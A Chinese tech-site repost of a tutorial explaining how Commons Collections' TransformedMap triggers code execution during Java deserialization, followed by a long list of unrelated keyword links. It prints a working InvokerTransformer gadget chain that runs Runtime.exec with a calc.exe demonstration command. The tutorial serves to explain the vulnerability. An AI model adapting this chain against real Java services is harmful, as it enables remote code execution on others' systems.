java反序列化 - transformedMap类可以执行恶意代码的原理
发表于:2025-12-01 作者:千家信息网编辑
千家信息网最后更新 2025年12月01日,java反序列化 - transformedMap类可以执行恶意代码的原理0x00 代码Map map=new HashMap(); map.put("key","value");
千家信息网最后更新 2025年12月01日java反序列化 - transformedMap类可以执行恶意代码的原理
java反序列化 - transformedMap类可以执行恶意代码的原理
0x00 代码
Map map=new HashMap(); map.put("key","value"); //调用目标对象的toString方法 String command="calc.exe"; final String[] execArgs = new String[] { command }; final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs) }; Transformer transformer=new ChainedTransformer(transformers); Map transformedMap=TransformedMap.decorate(map,null,transformer); for (Map.Entry entry:transformedMap.entrySet()){ System.out.println(entry); entry.setValue("anything"); } 执行结果:
0x01 transformedMap类为什么可以执行恶意代码?
通过上一篇https://blog.51cto.com/13770310/2160737文章, 可知ChainedTransformer的transformer方法可以执行恶意代码。
上述代码的关键是:
for (Map.Entry entry:transformedMap.entrySet()){ System.out.println(entry); entry.setValue("anything"); } 为什么执行了 entry.setValue("anything");就可以造成恶意代码执行呢?接下来我们看transformedMap类的checkSetValue方法:
/** * Override to transform the value when using setValue. * * @param value the value to transform * @return the transformed value * @since Commons Collections 3.1 */ protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }当transformedMap对象执行setValue方法时会调用valueTransformer的transform方法,如果传入的valueTransformer是ChainedTransformer的对象,那不就可以造成恶意代码执行了吗。
接着查看上面代码:
因此该代码的核心还是使用的ChainedTransformer的transformer方法
代码
方法
恶意
对象
原理
序列
接下来
关键
文章
核心
目标
结果
还是
上一
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
订餐软件开发背景
软件开发交付方式有哪些
全国学生网络安全教育平台
日本的网络安全大学有
管理服务器怎么设置
深圳分仓软件开发
手机怎么实现远程服务器
非你莫属最牛软件开发
育碧服务器为什么成就不显示
软件开发里的里程碑
农信社软件开发部如何
2021年网络安全会议议程
网络安全与执法要学的课程
安卓应用软件开发服务价钱
数据库不能启动3414
软件开发人员 智商
数据库中prompt
重庆巴南仓储生鲜软件开发
南阳oa软件开发价格
上蔡网络安全
软件开发公司要交税吗
南昌控制系统软件开发
魔兽世界今天怎么没服务器
cmmi 软件开发人员职责
同时导入数据库
软件开发有多苦
南京智能软件开发机构
金蝶kis不能识别的数据库格式
上海应用软件开发哪家可靠
cac国家网络安全